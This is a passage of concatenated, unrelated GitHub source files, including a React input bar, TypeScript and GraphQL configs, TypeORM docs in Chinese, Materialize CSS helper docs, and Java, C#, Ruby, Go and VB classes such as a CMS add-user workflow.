className="msg-image" src={filePreviewSrc} /> </PopoverBody> </Popover> </div> <div className="flex-grow-1 px-2"> <input type="text" className="form-control" placeholder="Type a message..." value={this.state.content} onChange={this.handleChange} {...disabled} /> </div> </div> </div> </div> </form> </div> </div> ) } } InputBar.propTypes = { createMessage: PropTypes.func, conversation: PropTypes.object, userId: PropTypes.string } const InputBarWithData = graphql(createMessage, { name: 'createMessage' })(InputBar) export { InputBarWithData }
{ "pile_set_name": "Github" }
{ "include": [ "src/l10n/*" ], "compilerOptions": { "target": "es2015", /* Specify ECMAScript target version: 'ES3' (default), 'ES5', 'ES2015', 'ES2016', 'ES2017', 'ES2018', 'ES2019', 'ES2020', or 'ESNEXT'. */ "module": "commonjs", /* Specify module code generation: 'none', 'commonjs', 'amd', 'system', 'umd', 'es2015', 'es2020', or 'ESNext'. */ "outDir": "./dist", /* Redirect output structure to the directory. */ "strict": true, /* Enable all strict type-checking options. */ "types": [ "@types/node" ], "resolveJsonModule": true, "esModuleInterop": true, "allowSyntheticDefaultImports": true } }
{ "pile_set_name": "Github" }
Scripts for Airline Delay dataset
{ "pile_set_name": "Github" }
{ "images" : [ { "idiom" : "universal", "filename" : "loading_2.png", "scale" : "1x" }, { "idiom" : "universal", "scale" : "2x" }, { "idiom" : "universal", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" } }
{ "pile_set_name": "Github" }
directive @relation(name: String!) on FIELD_DEFINITION directive @default(value: Int!) on FIELD_DEFINITION type Post { id: ID! title: String! publishedAt: Int! likes: Int! @default(value: 0) author: Author! @relation(name: "Posts") blog: Blog @relation(name: "Posts") } type Author { id: ID! name: String! posts: [Post!]! @relation(name: "Author") } type Blog { id: ID! name: String! description: String, authors: [Author!]! posts: [Post!]! @relation(name: "Posts") } type Query { authors: [Author!]! blogs: [Blog!]! }
{ "pile_set_name": "Github" }
# 一对一 一对一是一种 A 只包含一个 B 实例,而 B 只包含一个 A 实例的关系。 我们以`User`和`Profile`实体为例。 用户只能拥有一个配置文件,并且一个配置文件仅由一个用户拥有。 ```typescript import { Entity, PrimaryGeneratedColumn, Column } from "typeorm"; @Entity() export class Profile { @PrimaryGeneratedColumn() id: number; @Column() gender: string; @Column() photo: string; } ``` ```typescript import { Entity, PrimaryGeneratedColumn, Column, OneToOne, JoinColumn } from "typeorm"; import { Profile } from "./Profile"; @Entity() export class User { @PrimaryGeneratedColumn() id: number; @Column() name: string; @OneToOne(type => Profile) @JoinColumn() profile: Profile; } ``` 这里我们将`@OneToOne`添加到`profile`并将目标关系类型指定为`Profile`。 我们还添加了`@JoinColumn`,这是必选项并且只能在关系的一侧设置。 你设置`@JoinColumn`的哪一方,哪一方的表将包含一个"relation id"和目标实体表的外键。 此示例将生成以下表: ```bash +-------------+--------------+----------------------------+ | profile | +-------------+--------------+----------------------------+ | id | int(11) | PRIMARY KEY AUTO_INCREMENT | | gender | varchar(255) | | | photo | varchar(255) | | +-------------+--------------+----------------------------+ +-------------+--------------+----------------------------+ | user | +-------------+--------------+----------------------------+ | id | int(11) | PRIMARY KEY AUTO_INCREMENT | | name | varchar(255) | | | profileId | int(11) | FOREIGN KEY | +-------------+--------------+----------------------------+ ``` 同样,`@JoinColumn`必须仅设置在关系的一侧且必须在数据库表中具有外键的一侧。 该例子展示如何保存这样的关系: ```typescript const profile = new Profile(); profile.gender = "male"; profile.photo = "me.jpg"; await connection.manager.save(profile); const user = new User(); user.name = "Joe Smith"; user.profile = profile; await connection.manager.save(user); ``` 启用级联后,只需一次`save`调用即可保存此关系。 要加载带有配置文件的用户,必须在`FindOptions`中指定关系: ```typescript const userRepository = connection.getRepository(User); const users = await userRepository.find({ relations: ["profile"] }); ``` 或者使用`QueryBuilder`: ```typescript const users = await connection .getRepository(User) .createQueryBuilder("user") .leftJoinAndSelect("user.profile", "profile") .getMany(); ``` 通过在关系上启用预先加载,你不必指定关系或手动加入,它将始终自动加载。 关系可以是单向的和双向的。 单向是仅在一侧与关系装饰器的关系。 双向是与关系两侧的装饰者的关系。 我们刚刚创建了一个单向关系。 让我们将它改为双向: ```typescript import { Entity, PrimaryGeneratedColumn, Column, OneToOne } from "typeorm"; import { User } from "./User"; @Entity() export class Profile { @PrimaryGeneratedColumn() id: number; @Column() gender: string; @Column() photo: string; @OneToOne(type => User, user => user.profile) // 将另一面指定为第二个参数 user: User; } ``` ```typescript import { Entity, PrimaryGeneratedColumn, Column, OneToOne, JoinColumn } from "typeorm"; import { Profile } from "./Profile"; @Entity() export class User { @PrimaryGeneratedColumn() id: number; @Column() name: string; @OneToOne(type => Profile, profile => profile.user) // 指定另一面作为第二个参数 @JoinColumn() profile: Profile; } ``` 我们只是创建了双向关系。 注意,反向关系没有`@JoinColumn`。 `@JoinColumn`必须只在关系的一侧且拥有外键的表上。 双向关系允许你使用`QueryBuilder`从双方加入关系: ```typescript const profiles = await connection .getRepository(Profile) .createQueryBuilder("profile") .leftJoinAndSelect("profile.user", "user") .getMany(); ```
{ "pile_set_name": "Github" }
<?php /** * @coversDefaultClass \Foo\CoveredClass */ class NamespaceCoverageCoversClassPublicTest extends PHPUnit_Framework_TestCase { /** * @covers ::publicMethod */ public function testSomething() { $o = new Foo\CoveredClass; $o->publicMethod(); } }
{ "pile_set_name": "Github" }
// 练习10.24:给定一个string,使用bind和check_size在一个int的vector中 // 查找第一个大于string长度的值。 #include <iostream> #include <string> #include <vector> #include <algorithm> #include <functional> using namespace std; using namespace std::placeholders; bool check_size(const string &s, string::size_type sz) { return s.size() < sz; } int main() { string s = "www"; vector<int> v = {1, 2, 3, 4, 5}; auto it = find_if(v.begin(), v.end(), bind(check_size, s, _1)); if (it != v.end()) cout << *it << endl; else cout << "not find" << endl; return 0; }
{ "pile_set_name": "Github" }
/*! * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ @mixin border-image($borders...) { $webkit-borders: (); $spec-borders: (); @each $border in $borders { $webkit-border: (); $spec-border: (); $border-type: type-of($border); @if $border-type == string or list { $border-str: if($border-type == list, nth($border, 1), $border); $url-str: str-slice($border-str, 1, 3); $gradient-type: str-slice($border-str, 1, 6); @if $url-str == "url" { $webkit-border: $border; $spec-border: $border; } @else if $gradient-type == "linear" { $gradients: _linear-gradient-parser("#{$border}"); $webkit-border: map-get($gradients, webkit-image); $spec-border: map-get($gradients, spec-image); } @else if $gradient-type == "radial" { $gradients: _radial-gradient-parser("#{$border}"); $webkit-border: map-get($gradients, webkit-image); $spec-border: map-get($gradients, spec-image); } @else { $webkit-border: $border; $spec-border: $border; } } @else { $webkit-border: $border; $spec-border: $border; } $webkit-borders: append($webkit-borders, $webkit-border, comma); $spec-borders: append($spec-borders, $spec-border, comma); } -webkit-border-image: $webkit-borders; border-image: $spec-borders; border-style: solid; } //Examples: // @include border-image(url("image.png")); // @include border-image(url("image.png") 20 stretch); // @include border-image(linear-gradient(45deg, orange, yellow)); // @include border-image(linear-gradient(45deg, orange, yellow) stretch); // @include border-image(linear-gradient(45deg, orange, yellow) 20 30 40 50 stretch round); // @include border-image(radial-gradient(top, cover, orange, yellow, orange));
{ "pile_set_name": "Github" }
Given two Maidenhead locators, calculates distance (qrb) and azimuth.
{ "pile_set_name": "Github" }
const foo = require('./foo.json'); const bar = require('./bar'); module.exports = { // 同时支持 GET 和 POST '/api/users/1': foo, '/api/foo/bar': bar(), // 支持标准 HTTP 'GET /api/users': { users: [1, 2] }, 'DELETE /api/users': { users: [1, 2] }, // 支持自定义函数,API 参考 express4 'POST /api/users/create': (req, res) => { res.end('OK'); }, // 支持参数 'POST /api/users/:id': (req, res) => { const { id } = req.params; res.send({ id }); }, };
{ "pile_set_name": "Github" }
--- description: "Extended Static Geometry Methods" title: "Extended Static Geometry Methods | Microsoft Docs" ms.custom: "" ms.date: "03/14/2017" ms.prod: sql ms.prod_service: "database-engine, sql-database" ms.reviewer: "" ms.technology: t-sql ms.topic: "language-reference" dev_langs: - "TSQL" helpviewer_keywords: - "Extended Static Geometry Methods [SQL Server]" ms.assetid: 04c02af0-5243-4d53-b35a-ddc4113ee8f6 author: MladjoA ms.author: mlandzic --- # Extended Static Geometry Methods [!INCLUDE [SQL Server SQL Database](../../includes/applies-to-version/sql-asdb.md)] [!INCLUDE[ssNoVersion](../../includes/ssnoversion-md.md)] supports several extensions to the static geometry methods of the Open Geospatial Consortium (OGC). For more information on Open Geospatial Consortium (OGC) specifications, see the following Open Geospatial Consortium Specifications: [OGC Specifications, Simple Feature Access Part 1 - Common Architecture](https://go.microsoft.com/fwlink/?LinkId=93627) [OGC Specifications, Simple Feature Access Part 2 - SQL Options](https://go.microsoft.com/fwlink/?LinkId=93628) [OGC Specifications, Geography Markup Language](https://go.microsoft.com/fwlink/?LinkId=93629) ## In This Section - [GeomFromGML](../../t-sql/spatial-geometry/geomfromgml-geometry-data-type.md) - [Null](../../t-sql/spatial-geometry/null-geometry-data-type.md) - [Parse](../../t-sql/spatial-geometry/parse-geometry-data-type.md) - [Point](../../t-sql/spatial-geometry/point-geometry-data-type.md) ## See Also [Static Aggregate Geometry Methods](../../t-sql/spatial-geometry/static-aggregate-geometry-methods.md) [Extended Methods on Geometry Instances](../../t-sql/spatial-geometry/extended-methods-on-geometry-instances.md) [OGC Methods on Geometry Instances](../../t-sql/spatial-geometry/ogc-methods-on-geometry-instances.md) [OGC Static Geometry Methods](../../t-sql/spatial-geometry/ogc-static-geometry-methods.md)
{ "pile_set_name": "Github" }
// Copyright 2012 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build darwin,race linux,race freebsd,race package unix import ( "runtime" "unsafe" ) const raceenabled = true func raceAcquire(addr unsafe.Pointer) { runtime.RaceAcquire(addr) } func raceReleaseMerge(addr unsafe.Pointer) { runtime.RaceReleaseMerge(addr) } func raceReadRange(addr unsafe.Pointer, len int) { runtime.RaceReadRange(addr, len) } func raceWriteRange(addr unsafe.Pointer, len int) { runtime.RaceWriteRange(addr, len) }
{ "pile_set_name": "Github" }
#!/usr/bin/env ruby # Encoding: utf-8 # # Copyright:: Copyright 2016, Google Inc. All Rights Reserved. # # License:: Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. # # Updates the shipping settings for the specified account. require_relative "shipping_settings_common" def update_shipping_settings(content_api, merchant_id, account_id) settings = create_sample_shipping_settings content_api.update_shippingsetting( merchant_id, account_id, settings ) do |res, err| if err handle_errors(err) exit end print_shipping_settings(res) end end if __FILE__ == $0 options = ArgParser.parse(ARGV) if ARGV.size > 1 puts "Usage: #{$0} [ACCOUNT_ID]" exit end config, content_api = service_setup(options) if ARGV.empty? account_id = config.merchant_id else account_id = ARGV[0] unless account_id == config.merchant_id.to_s or config.is_mca raise "Non-MCA accounts can only set their own information." end end update_shipping_settings(content_api, config.merchant_id, account_id) end
{ "pile_set_name": "Github" }
{ "name": "University of Plymouth", "displayName": "University of Plymouth", "properties": [ "plymouth.ac.uk" ] }
{ "pile_set_name": "Github" }
<div class="container"> <div class="row"> <div class="col s12 m9 l10"> <!-- Valign Section--> <div id="valign" class="section scrollspy"> <h2 class="header">Alignment</h2> <p class="caption">We have easy to use classes to help you align your content.</p> <h5 class="light">Vertical Align</h5> <p>You can easily vertically center things by adding the class <code class="language-markup">valign-wrapper</code> to the container holding the items you want to vertically align.</p> <div class="valign-demo valign-wrapper"> <h5 class="valign center" style="width: 100%;">This should be vertically aligned</h5> </div> <pre><code class="language-markup"> &lt;div class="valign-wrapper"> &lt;h5 class="valign">This should be vertically aligned&lt;/h5> &lt;/div> </code></pre><br> <h5 class="light">Text Align</h5> <p>These classes are for horizontally aligning content. We have <code class="language-markup">.left-align</code>, <code class="language-markup">.right-align</code> and <code class="language-markup">.center-align</code></p> <div class="talign-demo"> <br> <h5 class="left-align">This should be left aligned</h5> </div> <br> <div class="talign-demo"> <br> <h5 class="right-align">This should be right aligned</h5> </div> <br> <div class="talign-demo"> <br> <h5 class="center-align">This should be center aligned</h5> </div> <pre><code class="language-markup"> &lt;div> &lt;h5 class="left-align">This should be left aligned&lt;/h5> &lt;/div> &lt;div> &lt;h5 class="right-align">This should be right aligned&lt;/h5> &lt;/div> &lt;div> &lt;h5 class="center-align">This should be center aligned&lt;/h5> &lt;/div> </code></pre><br> <h5 class="light">Quick Floats</h5> <p>Quickly float things by adding the class <code class="language-markup">left</code> or <code class="language-markup">right</code> to the element. <code class="language-markup">!important</code> is used to avoid specificity issues.</p> <pre><code class="language-markup"> &lt;div class="left">...&lt;/div> &lt;div class="right">...&lt;/div> </code></pre><br> </div><!-- End Valign Section --> <!-- Hiding Section--> <div id="hiding" class="section scrollspy"> <h2 class="header">Hiding Content</h2> <p>We provide easy to use classes to hide content on specific screen sizes. </p> <table class="striped"> <thead> <tr> <th></th> <th>Screen Range</th> </tr> </thead> <tbody> <tr> <td><code class="language-markup"><strong>.hide</strong></code></td> <td>Hidden for all Devices</td> </tr> <tr> <td><code class="language-markup"><strong>.hide-on-small-only</strong></code></td> <td>Hidden for Mobile Only</td> </tr> <tr> <td><code class="language-markup"><strong>.hide-on-med-only</strong></code></td> <td>Hidden for Tablet Only</td> </tr> <tr> <td><code class="language-markup"><strong>.hide-on-med-and-down</strong></code></td> <td>Hidden for Tablet and Below</td> </tr> <tr> <td><code class="language-markup"><strong>.hide-on-med-and-up</strong></code></td> <td>Hidden for Tablet and Above</td> </tr> <tr> <td><code class="language-markup"><strong>.hide-on-large-only</strong></code></td> <td>Hidden for Desktop Only</td> </tr> </tbody> </table> <br> <h5 class="light">Usage</h5> <pre><code class="language-markup"> &lt;div class="hide-on-small-only">&lt;/div> </code></pre><br> </div><!-- End Hiding Section --> <!-- Formatting Section--> <div id="formatting" class="section scrollspy"> <h2 class="header">Formatting</h2> <p>These classes help format various content on your site.</p> <h5 class="light">Truncation</h5> <p>To truncate long lines of text in an ellipsis, add the class <code class="language-markup">truncate</code> to the tag which contains the text. See an example below of a header being truncated inside a card.</p> <div class="row"> <div class="col s6 offset-s3 m6 offset-m3"> <div class="card-panel"> <h4 class="truncate">This is an extremely long title that will be truncated</h4> </div> </div> </div> <pre><code class="language-markup"> &lt;h4 class="truncate">This is an extremely long title that will be truncated&lt;/h4> </code></pre><br> <h5 class="light">Hover</h5> <p>The <code class="language-markup">hoverable</code> is a hover class that adds an animation for box shadow as seen below. It can be used on most elements, but meant for use on cards.</p> <div class="card hoverable small"> <div class="card-image"> <img src="images/sample-1.jpg"> <span class="card-title">Card Title</span> </div> <div class="card-content"> <p>I am a very simple card. I am good at containing small bits of information. I am convenient because I require little markup to use effectively.</p> </div> <div class="card-action"> <a href="#">This is a link</a> </div> </div> <pre><code class="language-markup"> &lt;div class="card-panel hoverable"> Hoverable Card Panel&lt;/div> </code></pre> </div><!-- End Formatting Section --> </div> <div class="col hide-on-small-only m3 l2"> <div class="toc-wrapper"> <div class="buysellads hide-on-small-only"> <!-- CarbonAds Zone Code --> <script async type="text/javascript" src="//cdn.carbonads.com/carbon.js?zoneid=1673&serve=C6AILKT&placement=materializecss" id="_carbonads_js"></script> </div> <div style="height: 1px;"> <ul class="section table-of-contents"> <li><a href="#valign">Alignment</a></li> <li><a href="#hiding">Hiding Content</a></li> <li><a href="#formatting">Formatting</a></li> </ul> </div> </div> </div> </div> </div>
{ "pile_set_name": "Github" }
--- layout: front permalink: /hu/ lang: hu interspanlink: /en/coordination/humanitarian advspanlink: "https://github.com/hotosm/learnosm/wiki/English-Learning-Guides/" fronttitle: "Az OpenStreetMap egy szabad, utcaszintű világtérkép, amelyet egy egyre növekvő térképészközösség készít." frontintro: "Az OpenStreetMapet bárki szerkesztheti. Itt megtudhatod, hogyan biztosít a LearnOSM közérthető, lépésről lépésre haladó útmutatókat az OpenStreetMap (OSM) szerkesztésének megkezdéséhez, valamint az OpenStreetMap és adatainak felhasználásához. Ha szeretnél egy OpenStreetMap-tanfolyamot tartani, nézd meg a LearnOSM képzési anyagait." ourguides: "Útmutatóink" searchtext: "Mit keresel?" begspan: "Most ismerkedsz az OpenStreetMappel?" beg: "útmutató kezdőknek" interspan: "Humanitárius térképezés" inter: "Távoli térképezési információk" advspan: "További útmutatók" adv: "Útmutatók dokumentumformátumban" faq: "Gyakori kérdések" faqA: "Mi az az OpenStreetMap?" faqB: "Ki hozta létre a LearnOSM-oldalt?" faqC: "Hogyan kezdhetek neki a térképrajzolásnak?" faqD: "Hol kaphatok további segítséget?" nosearch: true ---
{ "pile_set_name": "Github" }
/* * This program is free software; you can redistribute it and/or modify it under the * terms of the GNU Lesser General Public License, version 2.1 as published by the Free Software * Foundation. * * You should have received a copy of the GNU Lesser General Public License along with this * program; if not, you can obtain a copy at http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html * or from the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU Lesser General Public License for more details. * * Copyright (c) 2001 - 2013 Object Refinery Ltd, Hitachi Vantara and Contributors.. All rights reserved. */ package org.pentaho.reporting.engine.classic.core.modules.output.table.html.helper; /** * Creation-Date: 30.08.2007, 17:14:39 * * @author Thomas Morgner */ public class HtmlOutputProcessingException extends RuntimeException { public HtmlOutputProcessingException() { } public HtmlOutputProcessingException( final String message, final Exception ex ) { super( message, ex ); } public HtmlOutputProcessingException( final String message ) { super( message ); } }
{ "pile_set_name": "Github" }
using GameObject; using Lidgren.Network; using SS13_Shared; using SS13_Shared.GO; using SS13_Shared.GO.Component.Item; namespace CGO { public class BasicItemComponent : Component { public Entity Holder; public InventoryLocation HoldingHand; public BasicItemComponent() { Family = ComponentFamily.Item; } public override System.Type StateType { get { return typeof (ItemComponentState); } } public override void HandleComponentState(dynamic state) { SetNewState(state); } private void SetNewState(ItemComponentState state) { if(state.Holder != null && (Holder == null || Holder.Uid != state.Holder)) { Holder = Owner.EntityManager.GetEntity((int)state.Holder); HoldingHand = state.InventoryLocation; } if(Holder != null && state.Holder == null) { Holder = null; HoldingHand = state.InventoryLocation; } } } }
{ "pile_set_name": "Github" }
/******************************************************************************* * Copyright (c) 2017, 2018 GK Software AG, and others. * * This program and the accompanying materials * are made available under the terms of the Eclipse Public License 2.0 * which accompanies this distribution, and is available at * https://www.eclipse.org/legal/epl-2.0/ * * SPDX-License-Identifier: EPL-2.0 * * Contributors: * Stephan Herrmann - initial API and implementation *******************************************************************************/ package org.eclipse.jdt.core.tests.compiler.regression; import java.io.File; import java.util.HashMap; import java.util.Map; import org.eclipse.jdt.core.compiler.CharOperation; import org.eclipse.jdt.core.tests.util.Util; import org.eclipse.jdt.internal.compiler.CompilationResult; import org.eclipse.jdt.internal.compiler.ast.CompilationUnitDeclaration; import org.eclipse.jdt.internal.compiler.batch.BasicModule; import org.eclipse.jdt.internal.compiler.batch.CompilationUnit; import org.eclipse.jdt.internal.compiler.batch.FileSystem; import org.eclipse.jdt.internal.compiler.env.ICompilationUnit; import org.eclipse.jdt.internal.compiler.env.IModule; import org.eclipse.jdt.internal.compiler.env.INameEnvironment; import org.eclipse.jdt.internal.compiler.impl.CompilerOptions; import org.eclipse.jdt.internal.compiler.lookup.TypeConstants; import org.eclipse.jdt.internal.compiler.parser.Parser; import org.eclipse.jdt.internal.compiler.problem.ProblemReporter; public class AbstractRegressionTest9 extends AbstractRegressionTest { public AbstractRegressionTest9(String name) { super(name); } protected Map<String,IModule> moduleMap = new HashMap<>(); // by name protected Map<String,String> file2module = new HashMap<>(); @Override protected void tearDown() throws Exception { super.tearDown(); this.moduleMap.clear(); this.file2module.clear(); DefaultJavaRuntimeEnvironment.cleanUpDefaultJreClassLibs(); } @Override protected INameEnvironment getNameEnvironment(final String[] testFiles, String[] classPaths) { this.classpaths = classPaths == null ? getDefaultClassPaths() : classPaths; INameEnvironment[] classLibs = getClassLibs(classPaths == null); for (INameEnvironment nameEnvironment : classLibs) { ((FileSystem) nameEnvironment).scanForModules(createParser()); } return new InMemoryNameEnvironment9(testFiles, this.moduleMap, classLibs); } @Override protected CompilationUnit[] getCompilationUnits(String[] testFiles) { Map<String,char[]> moduleFiles= new HashMap<>(); // filename -> modulename CompilationUnit[] compilationUnits = Util.compilationUnits(testFiles); // scan for all module-info.java: for (int i = 0; i < testFiles.length; i+=2) { IModule module = extractModuleDesc(testFiles[i], testFiles[i+1], compilationUnits[i/2]); if (module != null) { this.moduleMap.put(String.valueOf(module.name()), module); moduleFiles.put(testFiles[0], module.name()); } } // record module information in CUs: for (int i = 0; i < compilationUnits.length; i++) { char[] fileName = compilationUnits[i].getFileName(); String fileNameString = String.valueOf(compilationUnits[i].getFileName()); if (CharOperation.endsWith(fileName, TypeConstants.MODULE_INFO_FILE_NAME)) { compilationUnits[i].module = moduleFiles.get(fileNameString); } else { String modName = this.file2module.get(fileNameString.replace(File.separator, "/")); if (modName != null) { compilationUnits[i].module = modName.toCharArray(); } } } return compilationUnits; } /** * javac cannot leverage our internal map {@code file2module}, so we better * neatly place each file into a sub directory matching the module name. */ protected String expandFileNameForJavac(String fileName) { String fileNameAsKey = fileName.replace(File.separator, "/"); if (this.file2module != null && this.file2module.containsKey(fileNameAsKey)) { fileName = new String(this.file2module.get(fileNameAsKey))+File.separator+fileName; } return fileName; } private IModule extractModuleDesc(String fileName, String fileContent, ICompilationUnit cu) { if (fileName.toLowerCase().endsWith(IModule.MODULE_INFO_JAVA)) { Parser parser = createParser(); CompilationResult compilationResult = new CompilationResult(cu, 0, 1, 10); CompilationUnitDeclaration unit = parser.parse(cu, compilationResult); if (unit.isModuleInfo() && unit.moduleDeclaration != null) { return new BasicModule(unit.moduleDeclaration, null); } } return null; } private Parser createParser() { Map<String,String> opts = new HashMap<String, String>(); opts.put(CompilerOptions.OPTION_Source, CompilerOptions.VERSION_9); return new Parser( new ProblemReporter(getErrorHandlingPolicy(), new CompilerOptions(opts), getProblemFactory()), false); } // ------------------------------------------------------ /** Use in tests to associate the CU in given files to the module of the given name. */ public void associateToModule(String moduleName, String... fileNames) { for (String fileName : fileNames) this.file2module.put(fileName, moduleName); } }
{ "pile_set_name": "Github" }
using System; using System.Collections.Generic; using System.Diagnostics; using System.Globalization; using System.Linq; using System.Workflow.Runtime; using System.Workflow.Activities; using Composite.C1Console.Actions; using Composite.Data; using Composite.Data.Types; using Composite.Core.ResourceSystem; using Composite.Core.Types; using Composite.C1Console.Users; using Composite.Data.Validation; using Composite.C1Console.Workflow; using Composite.C1Console.Events; using Composite.Plugins.Security.LoginProviderPlugins.DataBasedFormLoginProvider; using Microsoft.Practices.EnterpriseLibrary.Validation; using Composite.Core.Logging; using Composite.C1Console.Security; namespace Composite.Plugins.Elements.ElementProviders.UserElementProvider { [AllowPersistingWorkflow(WorkflowPersistingType.Idle)] public sealed partial class AddNewUserWorkflow : Composite.C1Console.Workflow.Activities.FormsWorkflow { private static class BindingNames { public const string NewUser = "NewUser"; public const string Username = "NewUser.Username"; public const string Password = "Password"; public const string UserFormLogin = "UserFormLogin"; } public AddNewUserWorkflow() { InitializeComponent(); } private void CheckActiveLanguagesExists(object sender, ConditionalEventArgs e) { e.Result = DataLocalizationFacade.ActiveLocalizationCultures.Any(); } private void IsUserValid(object sender, ConditionalEventArgs e) { IUser newUser = this.GetBinding<IUser>(BindingNames.NewUser); var bindedUserFormLogin = this.GetBinding<IUserFormLogin>(BindingNames.UserFormLogin); NormalizeUsername(newUser); ValidationResults validationResults = ValidationFacade.Validate(newUser); bool isValid = validationResults.IsValid; if (isValid) { validationResults = ValidationFacade.Validate(bindedUserFormLogin); isValid = validationResults.IsValid; } if(isValid) { IQueryable<IUser> usersWithTheSameName = from user in DataFacade.GetData<IUser>() where string.Compare(user.Username, newUser.Username, StringComparison.InvariantCultureIgnoreCase) == 0 select user; if(usersWithTheSameName.Any()) { ShowFieldMessage(BindingNames.Username, LocalizationFiles.Composite_Management.UserElementProvider_UserLoginIsAlreadyUsed); isValid = false; } string password = this.GetBinding<string>(BindingNames.Password); IList<string> validationMessages; if (!PasswordPolicyFacade.ValidatePassword(newUser, password, out validationMessages)) { foreach (var message in validationMessages) { this.ShowFieldMessage(BindingNames.Password, message); } isValid = false; } } e.Result = isValid; } private void MissingActiveLanguageCodeActivity_ExecuteCode(object sender, EventArgs e) { var flowControllerServicesContainer = WorkflowFacade.GetFlowControllerServicesContainer(WorkflowEnvironment.WorkflowInstanceId); var managementConsoleMessageService = flowControllerServicesContainer.GetService<IManagementConsoleMessageService>(); managementConsoleMessageService.ShowMessage( DialogType.Message, LocalizationFiles.Composite_Management.UserElementProvider_MissingActiveLanguageTitle, LocalizationFiles.Composite_Management.UserElementProvider_MissingActiveLanguageMessage); } private void initializeCodeActivity_ExecuteCode(object sender, EventArgs e) { IUser newUser = DataFacade.BuildNew<IUser>(); newUser.Id = Guid.NewGuid(); var userFormLogin = DataFacade.BuildNew<IUserFormLogin>(); userFormLogin.PasswordHash = ""; userFormLogin.PasswordHashSalt = ""; var groupEntityToken = this.EntityToken as UserElementProviderGroupEntityToken; if (groupEntityToken != null) { userFormLogin.Folder = groupEntityToken.Id; } CultureInfo userCulture = UserSettings.CultureInfo; // Copy admins settings CultureInfo c1ConsoleUiLanguage = UserSettings.C1ConsoleUiLanguage; // Copy admins settings List<KeyValuePair> regionLanguageList = StringResourceSystemFacade.GetSupportedCulturesList(); Dictionary<string, string> culturesDictionary = StringResourceSystemFacade.GetAllCultures(); this.Bindings.Add(BindingNames.NewUser, newUser); this.Bindings.Add(BindingNames.UserFormLogin, userFormLogin); this.Bindings.Add("AllCultures", culturesDictionary); this.Bindings.Add("CultureName", userCulture.Name); this.Bindings.Add("C1ConsoleUiCultures", regionLanguageList); this.Bindings.Add("C1ConsoleUiLanguageName", c1ConsoleUiLanguage.Name); } private void step1CodeActivity_ExecuteCode(object sender, EventArgs e) { IUser newUser = this.GetBinding<IUser>(BindingNames.NewUser); NormalizeUsername(newUser); ValidationResults validationResults = ValidationFacade.Validate(newUser); foreach (ValidationResult result in validationResults) { this.ShowFieldMessage($"{BindingNames.NewUser}.{result.Key}", result.Message); } IQueryable<IUser> usersWithTheSameName = from user in DataFacade.GetData<IUser>() where string.Compare(user.Username, newUser.Username, StringComparison.InvariantCultureIgnoreCase) == 0 select user; if (usersWithTheSameName.Any()) { this.ShowFieldMessage(BindingNames.Username, LocalizationFiles.Composite_Management.AddNewUserWorkflow_UsernameDuplicateError); } } private void finalizeCodeActivity_ExecuteCode(object sender, EventArgs e) { AddNewTreeRefresher addNewTreeRefresher = this.CreateAddNewTreeRefresher(this.EntityToken); IUser newUser = this.GetBinding<IUser>(BindingNames.NewUser); var bindedUserFormLogin = this.GetBinding<IUserFormLogin>(BindingNames.UserFormLogin); NormalizeUsername(newUser); string password = this.GetBinding<string>(BindingNames.Password); newUser = DataFacade.AddNew<IUser>(newUser); UserFormLoginManager.CreateUserFormLogin(newUser.Id, password, bindedUserFormLogin.Folder); string cultureName = this.GetBinding<string>("CultureName"); string c1ConsoleUiLanguageName = this.GetBinding<string>("C1ConsoleUiLanguageName"); UserSettings.SetUserCultureInfo(newUser.Username, CultureInfo.CreateSpecificCulture(cultureName)); UserSettings.SetUserC1ConsoleUiLanguage(newUser.Username, CultureInfo.CreateSpecificCulture(c1ConsoleUiLanguageName)); CultureInfo locale = DataLocalizationFacade.DefaultLocalizationCulture; UserSettings.AddActiveLocaleCultureInfo(newUser.Username, locale); UserSettings.SetCurrentActiveLocaleCultureInfo(newUser.Username, locale); UserSettings.SetForeignLocaleCultureInfo(newUser.Username, locale); this.CloseCurrentView(); addNewTreeRefresher.PostRefreshMesseges(newUser.GetDataEntityToken()); LoggingService.LogEntry("UserManagement", $"New C1 Console user '{newUser.Username}' created by '{UserValidationFacade.GetUsername()}'.", LoggingService.Category.Audit, TraceEventType.Information); this.ExecuteWorklow(newUser.GetDataEntityToken(), typeof(EditUserWorkflow)); } private static void NormalizeUsername(IUser user) { // User names are lower-cased user.Username = user.Username.Trim().ToLowerInvariant(); } } }
{ "pile_set_name": "Github" }
Imports Param_RootNamespace.Views Imports Microsoft.Toolkit.Uwp.Helpers Imports Windows.ApplicationModel.Core Imports Windows.UI.Core Namespace Services Public NotInheritable Class FirstRunDisplayService Shared shown As Boolean = False Private Sub New() End Sub Friend Shared Async Function ShowIfAppropriateAsync() As Task Await CoreApplication.MainView.CoreWindow.Dispatcher.RunAsync(CoreDispatcherPriority.Normal, Async Sub() If SystemInformation.IsFirstRun AndAlso Not shown Then shown = True Dim dialog = New FirstRunDialog() Await dialog.ShowAsync() End If End Sub) End Function End Class End Namespace
{ "pile_set_name": "Github" }
